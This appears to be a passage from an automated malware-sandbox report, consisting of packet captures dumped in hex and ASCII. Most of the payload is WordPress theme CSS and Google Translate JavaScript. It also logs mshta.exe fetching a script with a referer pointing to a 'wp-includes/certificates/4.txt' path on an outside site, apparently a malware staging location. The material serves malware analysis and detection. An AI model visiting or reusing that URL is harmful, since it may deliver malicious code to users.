79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 66 65 61 74 75 72 65 64 2d 74 68 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 30 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 68 35 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 65 78 63 65 72 70 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 6d 65 74 61 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 38 38 38 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 64 61 74 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 69 6d 61 67 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 32 30 70 78 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 Data Ascii: /* #Shortcodes================================================== // Recent Posts Shortcodes---------------------------------------- /.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; list-style: none; / Images Format Type / / Quote Format Type / / Link Format Type / / Audio Format Type / / Video Format Type */}.recent-posts_li { margin: 0 0 20px 20px; padding: 0; border: none; background: none; list-style-type: none;}.recent-posts_li .featured-thumbnail { float: left; margin: 0 20px 0 0;}.recent-posts_li h5 { margin-bottom: 0; font-size: 1em;}.recent-posts_li .excerpt { margin-bottom: 1.5em;}.recent-posts_li .meta { display: block; overflow: hidden; margin-bottom: .5em; color: #888; text-transform: uppercase; font-size: 10px;}.recent-posts_li .post-date { float: left;}.recent-posts_li .post-comments { float: right;}.recent-posts .format-image { float: left; margin: 0 20px 20px 0;}.recent-posts .format-audio { margin-bottom: 2em;}.recent-posts
Aug 16, 2022 11:49:47.140212059 CEST	407	IN	Data Raw: 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 2e 61 75 64 69 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 76 69 64 65 Data Ascii: .format-audio .audio-wrapper { margin-bottom: .5em;}.recent-posts .format-video { float: left; width: 300px;}/* Popular Posts Shortcode---------------------------------------- */.popular-posts li { overflow: hidden; margin: 0;
Aug 16, 2022 11:49:47.140295982 CEST	409	IN	Data Raw: 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 2e 6d 69 6e 69 2d 70 6f 73 74 73 2d 67 72 69 64 2e 67 72 69 64 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 Data Ascii: umbnail { margin: 0;}.mini-posts-grid.grid-align-center { text-align: center; font-size: 0; line-height: 0;}.mini-posts-grid.grid-align-center li { float: none; display: inline-block;}.mini-posts-grid.grid-align-right li {
Aug 16, 2022 11:49:47.140453100 CEST	410	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 64 64 64 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a Data Ascii: background-color: #f5f5f5; border: 1px solid #dddddd; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0
Aug 16, 2022 11:49:47.140664101 CEST	412	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 20 50 6f 73 74 20 43 79 63 6c 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: -------------------------- // Post Cycle---------------------------------------- */.carousel-cycle { position: relative; overflow: hidden;}.post-cycle { width: 100%; height: 380px; overflow: hidden;}.post-cycle_item { disp
Aug 16, 2022 11:49:47.140789032 CEST	413	IN	Data Raw: 72 61 70 20 2e 66 65 61 74 75 72 65 64 2d 74 68 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 35 70 78 3b 0a 20 Data Ascii: rap .featured-thumbnail { float: none; overflow: hidden; margin: 0 0 15px; padding: 0;}.banner-wrap .featured-thumbnail a { display: block; float: left; overflow: hidden; border: 8px solid #dddddd; text-align: center; -we
Aug 16, 2022 11:49:47.140939951 CEST	414	IN	Data Raw: 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 73 20 2e 74 65 73 74 69 2d 69 74 65 6d 20 62 6c 6f 63 6b 71 75 6f 74 65 3a 61 66 74 65 72 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 31 30 70 78 3b Data Ascii: }.testimonials .testi-item blockquote:after { position: absolute; top: 10px; left: 20px; display: block; width: 41px; height: 38px; background: url(../images/quotes.png) 0 0 no-repeat; content: "";}.testimonials .testi-item
Aug 16, 2022 11:49:47.141057968 CEST	416	IN	Data Raw: 6c 64 65 72 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 35 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d 0a 7d 0a 2e 72 6f 75 6e 64 61 62 6f 75 74 2d 68 6f 6c 64 65 72 20 75 6c 20 6c 69 2e 72 6f 75 6e 64 61 62 6f 75 Data Ascii: lder ul li { width: 150px !important; }}.roundabout-holder ul li.roundabout-in-focus { cursor: default;}@media (min-width: 768px) and (max-width: 979px) { .roundabout-holder ul { width: 100%; }}@media (max-width: 767px) {
Aug 16, 2022 11:49:47.141299963 CEST	419	IN	Data Raw: 64 74 68 3a 20 34 38 30 70 78 29 20 7b 0a 20 20 2e 73 69 74 65 5f 6d 61 70 20 2e 6c 69 6e 65 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 Data Ascii: dth: 480px) { .site_map .line ul li { float: none; width: 100%; margin-right: 0%; }}/* Accordion, Tabs (bootstrap)---------------------------------------- */.accordion-group,.accordion-inner,.nav-tabs,.nav-tabs > .active
Aug 16, 2022 11:49:47.141427040 CEST	421	IN	Data Raw: 20 30 70 78 20 31 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 39 29 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 30 70 78 20 31 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 39 29 Data Ascii: 0px 13px rgba(0, 0, 0, 0.09); -moz-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09); -webkit-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09); -o-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09);}.price-plans .plan.highlight h3 { padding: 22px
Aug 16, 2022 11:49:47.360235929 CEST	423	IN	Data Raw: 74 61 6e 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 2e 70 72 69 63 65 2d 70 6c 61 6e 73 20 2e 70 6c 61 6e 20 68 33 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 30 Data Ascii: tant; margin-left: 0; }}.price-plans .plan h3 { margin: 0; padding: 20px 10px; background: #e1e4e5; color: #32393d; border-bottom: 1px solid #fff; font-weight: bold;}.price-plans .plan h4 { margin: 0; padding: 10px;

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49180	142.250.181.238	443	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-16 09:49:46 UTC	0	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: translate.google.com Connection: Keep-Alive
2022-08-16 09:49:46 UTC	0	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:49:46 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Set-Cookie: CONSENT=PENDING+466; expires=Thu, 15-Aug-2024 09:49:46 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-16 09:49:46 UTC	1	IN	Data Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20 Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] \|\| function(e) { throw e; }; window['_DumpException'] = _DumpException;
2022-08-16 09:49:46 UTC	1	IN	Data Raw: 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 62 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 7d 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 71 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 50 26 26 61 2e 50 28 29 7d 3b 66 61 3d 66 75 6e 63 74 69 Data Ascii: Trace)Error.captureStackTrace(this,_.ba);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)};ca=function(a){_.q.setTimeout(function(){throw a;},0)};_.da=function(a){a&&"function"==typeof a.P&&a.P()};fa=functi
2022-08-16 09:49:46 UTC	3	IN	Data Raw: 28 29 7b 76 61 72 20 61 3d 5f 2e 71 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 3b 5f 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d 5f 2e 44 61 28 29 2e 69 6e 64 65 78 4f 66 28 61 29 7d 3b 0a 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 5f 2e 75 28 22 4d 53 49 45 22 29 7d 3b 5f 2e 46 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 69 50 68 6f 6e 65 22 29 26 26 21 5f 2e 75 28 22 69 50 6f 64 22 29 26 26 21 5f 2e 75 28 22 69 50 61 64 22 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 46 61 28 29 7c 7c 5f 2e 75 28 22 Data Ascii: (){var a=_.q.navigator;return a&&(a=a.userAgent)?a:""};_.u=function(a){return-1!=_.Da().indexOf(a)};_.Ea=function(){return _.u("Trident")\|\|_.u("MSIE")};_.Fa=function(){return _.u("iPhone")&&!_.u("iPod")&&!_.u("iPad")};_.Ga=function(){return _.Fa()\|\|_.u("
2022-08-16 09:49:46 UTC	4	IN	Data Raw: 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 53 61 3d 52 61 28 74 68 69 73 29 3b 0a 54 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b Data Ascii: ect"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};Sa=Ra(this);Ta=function(a,b){if(b)a:{
2022-08-16 09:49:46 UTC	5	IN	Data Raw: 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 72 65 74 75 72 6e 20 62 3f 62 2e 63 61 6c 6c 28 61 29 3a 7b 6e 65 78 74 3a 50 61 28 61 29 7d 7d 3b 5f 2e 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 63 7d 3b 58 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 3b 0a Data Ascii: mbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:Pa(a)}};_.Wa=function(a){for(var b,c=[];!(b=a.next()).done;)c.push(b.value);return c};Xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};
2022-08-16 09:49:46 UTC	6	IN	Data Raw: 7b 74 68 69 73 2e 6c 28 6d 29 7d 7d 7d 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 67 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 67 3d 30 3b 74 68 69 73 2e 6a 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 43 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 7b 67 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 6d 29 7b 72 65 74 75 72 6e 20 66 Data Ascii: {this.l(m)}}}this.g=null};b.prototype.l=function(g){this.j(function(){throw g;})};var e=function(g){this.g=0;this.j=void 0;this.h=[];this.C=!1;var k=this.l();try{g(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.l=function(){function g(m){return f
2022-08-16 09:49:46 UTC	8	IN	Data Raw: 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 67 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 67 29 29 3b 67 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 67 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 6a 3b 72 65 74 75 72 6e 20 6c 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 49 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 68 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 74 68 69 73 2e 68 2e 6c 65 6e 67 74 68 3b 2b 2b 67 29 66 2e 68 28 74 68 69 73 2e 68 5b 67 5d 29 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 3d 66 75 6e 63 74 69 Data Ascii: reateEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return l(g)};e.prototype.I=function(){if(null!=this.h){for(var g=0;g<this.h.length;++g)f.h(this.h[g]);this.h=null}};var f=new b;e.prototype.na=functi
2022-08-16 09:49:46 UTC	9	IN	Data Raw: 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6a 60 22 2b 63 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6b 60 22 2b 63 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 54 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 67 3d 30 Data Ascii: ew TypeError("j`"+c);if(b instanceof RegExp)throw new TypeError("k`"+c);return a+""};Ta("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=eb(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var g=0
2022-08-16 09:49:46 UTC	10	IN	Data Raw: 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 0a 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 3f 64 65 6c 65 74 65 20 6c 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6b 7d 29 3b 0a 54 61 28 22 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 Data Ascii: [this.g]:void 0};k.prototype.has=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)};k.prototype.delete=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)?delete l[f][this.g]:!1};return k});Ta("Map",function(a){if(function(){if(!a\|\|"function"!=typeof a\|\|!
2022-08-16 09:49:46 UTC	11	IN	Data Raw: 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 55 61 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 28 6b 3d 64 28 74 68 69 73 2c 6b 29 2e 55 61 29 26 26 6b 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 5b 6b 2e 6b 65 79 2c 6b 2e 76 61 6c 75 65 5d 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 Data Ascii: .size=0};c.prototype.has=function(k){return!!d(this,k).Ua};c.prototype.get=function(k){return(k=d(this,k).Ua)&&k.value};c.prototype.entries=function(){return e(this,function(k){return[k.key,k.value]})};c.prototype.keys=function(){return e(this,function(k)
2022-08-16 09:49:46 UTC	13	IN	Data Raw: 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 65 6e 64 73 57 69 74 68 22 29 3b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 64 2e 6c 65 6e 67 74 68 29 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 62 2e 6c 65 6e 67 74 68 3b 30 3c 65 26 26 30 3c 63 3b 29 69 66 28 64 5b 2d 2d 63 5d 21 3d 62 5b 2d 2d 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 30 3e 3d 65 7d 7d 29 3b 76 61 72 20 67 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 61 72 20 63 3d 30 2c 64 3d 21 31 2c 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74 Data Ascii: a?a:function(b,c){var d=eb(this,b,"endsWith");void 0===c&&(c=d.length);c=Math.max(0,Math.min(c\|0,d.length));for(var e=b.length;0<e&&0<c;)if(d[--c]!=b[--e])return!1;return 0>=e}});var gb=function(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:funct
